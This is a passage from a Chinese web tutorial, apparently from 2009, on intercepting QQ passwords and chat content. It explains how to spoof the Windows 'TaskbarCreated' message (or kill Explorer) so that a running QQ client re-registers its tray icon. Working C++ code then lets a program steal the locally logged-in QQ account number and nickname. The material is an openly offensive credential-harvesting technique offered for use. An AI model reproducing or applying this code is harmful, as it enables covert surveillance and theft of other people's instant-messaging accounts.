如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴
2009-02-21 19:59:56 来源:WEB开发网但是,如果我们的程序在执行前QQ已经启动了,QQ进程不会调用Shell_NotifyIcon()函数了,那我们也就无法获得其QQ号码和昵称了,怎么办?我们可以尝试将“Explorer”(资源管理器)进程kill掉,这时Windows会自动重新启动一个“Explorer”,这时QQ进程就重新调用Shell_NotifyIcon()来创建一个新的托盘图标了,那我们可以假冒系统给QQ进程发一条托盘重建的消息让QQ自己调用Shell_NotifyIcon()函数重建托盘图标,这时我们就可以窃取到本地登录的QQ账号和昵称了。
//
// 通知QQ重建托盘图标
//
void NotifyQQRecreateTray ()
{
if ( m_pQQMate )
{
m_pQQMate->m_csLocalQQAccount.Empty();
m_pQQMate->m_csLocalQQNickname.Empty();
memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) );
}
CUIntArray UIntAry_ThreadID;
CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );
for ( int i=0; i<UIntAry_ThreadID.GetSize(); i++ )
{
EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) );
}
}
BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam )
{
TCHAR szClassName[255] = {0};
::GetClassName ( hwnd, szClassName, COUNT(szClassName) );
if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 )
{
if ( !WM_TASKBARCREATED )
WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") );
SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL );
// HwDbgLog ( L_DEBUG, _T("删除托盘图标: hwnd - 0x%X, Class - %s"),
// hwnd, szClassName );
}
return TRUE;
}
更多精彩
赞助商链接